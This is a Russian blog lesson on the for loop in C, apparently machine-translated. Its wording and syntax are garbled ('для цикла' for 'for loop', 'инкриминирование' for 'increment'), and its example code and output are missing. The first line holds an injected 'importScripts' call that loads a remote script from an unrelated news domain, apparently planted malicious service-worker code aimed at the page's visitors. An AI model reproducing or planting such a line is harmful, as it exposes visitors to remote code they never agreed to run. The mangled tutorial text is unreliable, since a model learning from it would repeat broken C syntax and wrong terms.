google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

для цикла в C - Часть 1

До сих пор мы узнали о цикле while . Мы также видели некоторые распространенные ошибки, допущенные новичками во время записи управляющей структуры цикла. Если вы видите какую-то большую сложную программу, вы заметите, что программа в основном содержит только цикл. Теперь очевидный вопрос, который может поразить вас.

Почему циклы for используются чаще, чем циклы while?

Ну, ответ на этот вопрос заключается в его синтаксисе. Цикл for обычно используется для реализации структуры управления циклами, когда программист знает, сколько раз он хочет выполнить набор операторов. Ну, это не обязательно использовать для цикла только в этих условиях. Вы можете реализовать это в любое время.
Общий синтаксис цикла for в C приведен ниже.
Синтаксис для (loop_counter_initialize; Условие; Loop_Counter_incremented) сделать это ..; и это..; } Как видите, синтаксис цикла for довольно компактен. При использовании для цикла, не нужно явно писать счетчик цикла.









Так что цикл состоит из трех частей.
1. Инициализация счетчика цикла 
2. Условие выражения для проверки 
3. Увеличение счетчика цикла
По правде говоря, эти 3 части могут быть заменены любым допустимым выражением. Это означает, что мы также можем использовать такие функции, как scanf () и printf (), несмотря на эти 3 части. Мы узнаем об этом в следующем уроке.
для цикла в C
Блок-схема для цикла в C - Источник изображения
В любом случае давайте попробуем разобраться в этом цикле на одном примере.

Выход

для цикла в C - Выход
Давайте попробуем понять эту программу.
Программа довольно проста для понимания. Сначала я объявил переменную x как int. После этого я начал цикл с 3 аргументами (как в синтаксисе). После этого я написал функцию printf (). Поскольку я хочу выполнить только одну функцию после ключевого слова, вот почему я также снял фигурные скобки.
объяснение
  • Важно понимать выполнение этой программы. Как я использовал для цикла для этого времени. Итак, начнем.
  • Программа запускается и вводится в цикл for. Я инициализирую цикл for значением x = 0.
  • После инициализации управление сместится для проверки состояния. Условие становится истинным, так как x меньше 10.
  • Теперь запомните, что после проверки состояния элемент управления перейдет к функции printf () (тело цикла for). Он напечатает сообщение на экране.
  • Затем, наконец, управление сместится в сторону инкриминирования. Таким образом, значение х будет увеличено до 1.
  • Теперь он снова проверит состояние. Это снова станет правдой. Таким образом, он снова напечатает сообщение.
  • Этот процесс будет продолжаться до тех пор, пока значение x не станет равным 10. Когда x содержит значение 10, тогда оно не будет выполнено с условием. Таким образом, контроль выйдет за пределы цикла.
Как я уже говорил ранее, циклы for используются более широко, чем циклы while. Это просто из-за его компактного синтаксиса. Очень важно понимать выполнение цикла for для написания хороших программ, использующих его.
Для практики этого цикла вы можете попробовать программу ниже.
Напишите программу для печати вашего имени 10 раз. Попробуйте проанализировать выполнение программы, задав различные условия.

Комментариев нет:

Отправить комментарий